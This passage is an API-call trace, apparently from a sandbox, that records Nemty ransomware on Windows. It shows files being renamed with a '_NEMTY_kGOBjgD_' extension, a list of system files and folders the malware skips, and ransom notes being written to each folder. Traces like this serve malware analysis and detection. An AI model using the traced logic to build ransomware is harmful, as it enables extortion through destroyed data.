[0096.065] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.065] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.074] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.074] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.074] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.074] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.083] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.083] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.083] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.083] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.092] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.092] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.092] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.093] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.102] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.102] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.102] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.102] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.111] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.111] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.112] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.112] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.118] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.118] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.118] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.123] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.124] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.124] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.124] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0096.124] CloseHandle (hObject=0xffffffff) returned 0 [0096.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0096.124] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0096.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0096.124] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0096.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0096.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0096.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0096.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0096.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0096.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0096.124] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png._nemty_kgobjgd_")) returned 0 [0096.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0096.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0096.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0096.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0096.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0096.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0096.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0096.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0096.124] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeccd68d0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xeccd68d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeccd68d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0096.124] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0096.124] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0096.124] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0096.125] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0096.125] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0096.125] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0096.125] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0096.125] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0096.125] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0096.125] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0096.125] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0096.125] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0096.125] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0096.125] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0096.125] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0096.125] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0096.125] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0096.125] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0096.125] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0096.125] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0096.125] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0096.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0096.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0096.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0096.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0096.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0096.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0096.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0096.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0096.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0096.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0096.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0096.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0096.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0096.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0096.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0096.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0096.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0096.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0096.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0096.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0096.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0096.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0096.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0096.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0096.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0096.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0096.126] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeccd68d0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xeccd68d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeccd68d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0096.126] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0096.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0096.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0096.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94238 | out: hHeap=0x4f90000) returned 1 [0096.126] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Vignette", cAlternateFileName="")) returned 1 [0096.126] lstrcmpiW (lpString1="Vignette", lpString2=".") returned 1 [0096.126] lstrcmpiW (lpString1="Vignette", lpString2="..") returned 1 [0096.126] lstrcmpiW (lpString1="Vignette", lpString2="...") returned 1 [0096.126] lstrcmpiW (lpString1="Vignette", lpString2="windows") returned -1 [0096.126] lstrcmpiW (lpString1="Vignette", lpString2="$RECYCLE.BIN") returned 1 [0096.126] lstrcmpiW (lpString1="Vignette", lpString2="rsa") returned 1 [0096.126] lstrcmpiW (lpString1="Vignette", lpString2="NTDETECT.COM") returned 1 [0096.126] lstrcmpiW (lpString1="Vignette", lpString2="ntldr") returned 1 [0096.126] lstrcmpiW (lpString1="Vignette", lpString2="MSDOS.SYS") returned 1 [0096.126] lstrcmpiW (lpString1="Vignette", lpString2="IO.SYS") returned 1 [0096.126] lstrcmpiW (lpString1="Vignette", lpString2="boot.ini") returned 1 [0096.126] lstrcmpiW (lpString1="Vignette", lpString2="boot.ini") returned 1 [0096.126] lstrcmpiW (lpString1="Vignette", lpString2="AUTOEXEC.BAT") returned 1 [0096.126] lstrcmpiW (lpString1="Vignette", lpString2="ntuser.dat") returned 1 [0096.126] lstrcmpiW (lpString1="Vignette", lpString2="desktop.ini") returned 1 [0096.126] lstrcmpiW (lpString1="Vignette", lpString2="CONFIG.SYS") returned 1 [0096.126] lstrcmpiW (lpString1="Vignette", lpString2="RECYCLER") returned 1 [0096.127] lstrcmpiW (lpString1="Vignette", lpString2="BOOTSECT.BAK") returned 1 [0096.127] lstrcmpiW (lpString1="Vignette", lpString2="bootmgr") returned 1 [0096.127] lstrcmpiW (lpString1="Vignette", lpString2="programdata") returned 1 [0096.127] lstrcmpiW (lpString1="Vignette", lpString2="appdata") returned 1 [0096.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0096.127] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Vignette", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0096.127] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Vignette", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Vignette", lpUsedDefaultChar=0x0) returned 8 [0096.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0096.127] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Vignette", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0096.127] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Vignette", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Vignette", lpUsedDefaultChar=0x0) returned 8 [0096.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0096.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0096.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94238 [0096.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0096.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0096.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0096.127] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0096.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0096.127] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0096.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0096.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0096.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0096.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0096.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0096.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0096.127] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0096.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0096.131] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0096.131] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0096.132] CloseHandle (hObject=0x3cc) returned 1 [0096.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0096.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0096.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0096.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942b0 [0096.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94328 [0096.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0096.132] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0096.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0096.132] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0096.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0096.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0096.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0096.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0096.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0096.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0096.132] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0096.133] HeapFree (in: 